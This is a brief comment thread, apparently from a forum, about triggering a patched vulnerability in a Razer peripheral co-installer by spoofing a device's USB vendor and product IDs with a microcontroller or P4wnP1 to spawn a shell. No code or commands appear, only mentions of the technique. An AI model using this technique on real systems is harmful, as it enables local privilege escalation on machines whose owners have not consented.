Got my microcontroller working to trigger + automate this

Nice!!! Can you share the code?

Sorry about the delay.

lol it even works with just basic PID and VID pairing for P4wnP1.

fyi > Razer patched spawning a simple shell.

I know it's been a while, but is this still supposed to work? I know the vulnerability is patched by now, but I can't even make the co-installer run.
